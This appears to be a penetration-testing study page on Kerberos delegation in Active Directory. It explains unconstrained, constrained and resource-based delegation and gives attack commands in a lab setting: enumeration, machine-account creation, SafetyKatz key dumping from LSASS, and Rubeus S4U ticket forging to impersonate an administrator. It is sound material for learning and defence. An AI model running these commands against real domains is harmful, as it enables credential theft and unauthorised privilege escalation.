Delegations

Double Hop Issue

Kerberos Delegation is a mechanism designed to address the Kerberos double hop issue, which arises when an authenticated user accesses a remote service (first hop), and that service must then access another resource on a different system (second hop) on behalf of the same user.

The Kerberos double hop issue.

This issue stems from the fact that both access tokens and credentials are tied to a user’s logon session. The access token defines the user’s local security context—used by the operating system to control what the user can do on the local machine—while credentials, such as NTLM hashes or Kerberos tickets, represent the user’s network security context and are used to authenticate to remote systems. Therefore, unless delegation is configured, a service that receives an access token cannot leverage that token to authenticate as the user to another system.

Access tokens and credentials are tied to a user's logon session.

To overcome the Kerberos double hop issue, two primary approaches exist:

  • CredSSP: Stores user credentials in cleartext on the first hop, allowing the second hop to reuse them. While effective, this method introduces significant security concerns due to plaintext credential exposure.

  • Kerberos Delegation: Enables services to reuse a user's Kerberos-based authentication to access other resources across the network. This allows impersonation beyond the local system without exposing credentials directly, and it can be configured with varying levels of control and restriction depending on the delegation type.

There are three main types of Kerberos delegation:

Delegation Type
Description

Unconstrained

Grants a service unrestricted ability to impersonate a user to any service in the domain.

Constrained

Limits impersonation to specific services on specific hosts. If a user authenticates using a method other than Kerberos (e.g., NTLM), the service can still delegate using Protocol Transition, converting the authentication method into a Kerberos ticket to perform delegation.

Resource-Based Constrained

Defined on the resource server rather than the delegating service. This allows the target server to specify which principals are allowed to delegate to it.

Unconstrained

When a user authenticates to a service configured for Unconstrained Delegation (UD), the DC includes the user’s TGT inside the TGS response. The service decrypts this TGS using its own NTLM password hash, extracts the TGT, and stores it in LSASS. With this TGT available, the service can now request additional TGS tickets on behalf of the user for any service in the domain, allowing the server to fully impersonate the user over the network.

The uncostrained delegation process (image adapted from here).

This behavior introduces a critical security risk: if a host configured for UD is compromised, any user who authenticates to it exposes their TGT to the attacker, including privileged users such as Domain Admins and machine accounts (e.g. dc01$). The host becomes a passive collection point for TGTs. The attacker can to wait for privileged users to connect naturally or to actively force a connection from a privileged account to the compromised UD host. Some Windows services make this coercion possible:

Protocol
Service
Default on Server OS
Ports

MS-RPRN

Print Spooler

Yes

445

MS-WSP

Windows Search

No (Default on Client OS)

445

MS-DFSNM (MDI detects this)

DFS Namespaces

No

445

Enumerate hosts with UD configured using PowerView or the ActiveDirectory module:

# PowerView
Get-DomainComputer -Unconstrained

# AD module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Constrained

Constrained Delegation with Protocol Transition (S4U) enables a service to impersonate users to access specific services on specific hosts—unlike Unconstrained Delegation, it does not allow free impersonation to arbitrary resources. Instead, it leverages Kerberos extensions S4U2Self and S4U2Proxy to maintain tighter control and more granular delegation.

With PT

In Constrained Delegation with Protocol Transition, a user authenticates to a front-end service (e.g., a web server) using a non-Kerberos method, such as NTLM or basic auth.

That service account, if configured for Protocol Transition (i.e., has the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag), can request a ST to itself on behalf of the user—this is the S4U2Self step. No user password is required in this process. The DC validates that the service is trusted for delegation and that the user is not explicitly marked as sensitive for delegation. If the check passes, it returns a forwardable ST for the user addressed to the service account itself.

With that ticket in hand, the service can now request a second ST using S4U2Proxy, this time to a target service listed in its msDS-AllowedToDelegateTo attribute. The KDC confirms that the target SPN is permitted, and if so, issues a new ST that the service can use to authenticate as the user to the downstream resource.

Constrained Delegation with protocol transition.

This setup, however, introduces two key risks if the delegating account (e.g., websvc) is compromised. First, with S4U2Self, the service can obtain a forwardable ticket for any domain user, including highly privileged ones such as Domain Admins. That means any downstream service listed in msDS-AllowedToDelegateTo becomes reachable as a privileged identity. A compromised service account essentially becomes a powerful pivot point to lateral movement.

Targeting the S4U2Self step.

Enumerate users and/or computers with Contrained Delegation enabled with PowerView or the Active Directory module:

# PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# AD module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Second, the SPN value within the S4U2Proxy request is in plaintext and allows service modification. Although the msDS-AllowedToDelegateTo field restricts which SPNs the ticket can be requested for, the SPN value in the initial S4U2Proxy request is plaintext and can be manipulated. For example, if delegation is configured for a non-instrusive service, e.g. TIME/dcorp-dc, the TIME part of the SPN can be swapped with another service like LDAP, enabling unintended access to more sensitive services.

Targeting the S4U2Proxy step.

Enumerate users and/or computers with Contrained Delegation enabled with PowerView:

> Get-DomainComputer -TrustedToAuth

samaccountname                : DCORP-ADMINSRV$
useraccountcontrol            : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
msds-allowedtodelegateto      : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC}

Without PT

Constrained Delegation without Protocol Transition differs in that it requires the client to authenticate with Kerberos directly and present an initial ST to the front-end service. This ticket acts as the “evidence” for S4U2Proxy.

Constrained Delegation without Protocol Transition.

This process requires only a ST as a requirement to invoke it and we need an account with at least one SPN. A machine account can be created using PowerMad:

New-MachineAccount -MachineAccount attl4s

Impersonate web01 using its credentials and generate the TGT using Rubeus:

.\Rubeus.exe asktgt /user:web01$ /rc4:<hash> /domain:capsule.corp /nowrap /ptt

Resource-based

Resource-Based Constrained Delegation (RBCD) shifts control of delegation from Domain Administrators (DAs) to the owners of the resource or service being accessed. Unlike traditional constrained delegation, where the front-end service (e.g. websvc) must be explicitly granted permission via the msDS-AllowedToDelegateTo attribute, RBCD relies on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute (displayed in tools as PrincipalsAllowedToDelegateToAccount) on the resource itself (e.g. sqlsvc). This means that the administrator of a resource (e.g., SQL service) can grant delegation rights to a trusted machine (e.g., a frontend web server) without requiring elevated domain privileges such as SeEnableDelegation, which are typically restricted to DAs.

Constrained vs. Resource-Based Constrained Delegation (image taken from here).

To exploit RBCD effectively, two key conditions must be met:

  • The attacker needs write access to the target object (e.g. GenericWrite or GenericAll) in order to configure the delegation attribute.

  • The attacker needs to have control over an account that has an SPN assigned—most often a computer account. The latter can be achieved either by compromising an existing domain-joined system or by creating a new one using the default MachineAccountQuota, which allows domain users to join up to 10 machines to the domain.

Create a domain-joined machine using StandIn and PowerView:

# Create a computer account
.\StandIn.exe --computer <name> --make

# Get the SID of the computer account
Get-ADComputer -Filter * | Select-Object Name, SID

# Set the RBCD attribute
.\StandIn.exe --computer <dc> --sid <sid>

Configure RBCD on a compromised (dcorp-std337$) using PowerView or the Active Directory module:

# PowerView
Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-std337$' -Verbose

# AD Module
Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $comps

Confirm that it worked using PowerView:

> Get-DomainRBCD

SourceName                 : DCORP-MGMT$
SourceType                 : MACHINE_ACCOUNT
SourceAccountControl       : WORKSTATION_TRUST_ACCOUNT
DelegatedName              : DCORP-STD337$
DelegatedType              : MACHINE_ACCOUNT
DelegatedAccountControl    : WORKSTATION_TRUST_ACCOUNT

Extract the credentials of the machine account:

.\SafetyKatz.exe "sekurlsa::ekeys" "exit"

Request and inject a ST (S4U2Self and S4U2Proxy) as any user:

.\Rubeus.exe s4u /user:dcorp-std337$ /aes256:<aes256key> /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt

Access the target host as Administrator:

winrs -r:dcorp-mgmt cmd.exe

Resources

  • Some amazing lectures about Kerberos Delegation (video, video)

  • A great presentation about Kerberos Delegation Attacks (slides)

  • Some good information about Delegations (article)

  • Some great lectures on Constrained Delegation Attacks (video, video)

  • A great lecture about Resource-Based Constrained Delegation (video)

  • A nice box walkthough based on Resource-Based Constrained Delegation (video)

  • In-depth article about Resource-Based Constrained Delegation (article)

Last updated

Was this helpful?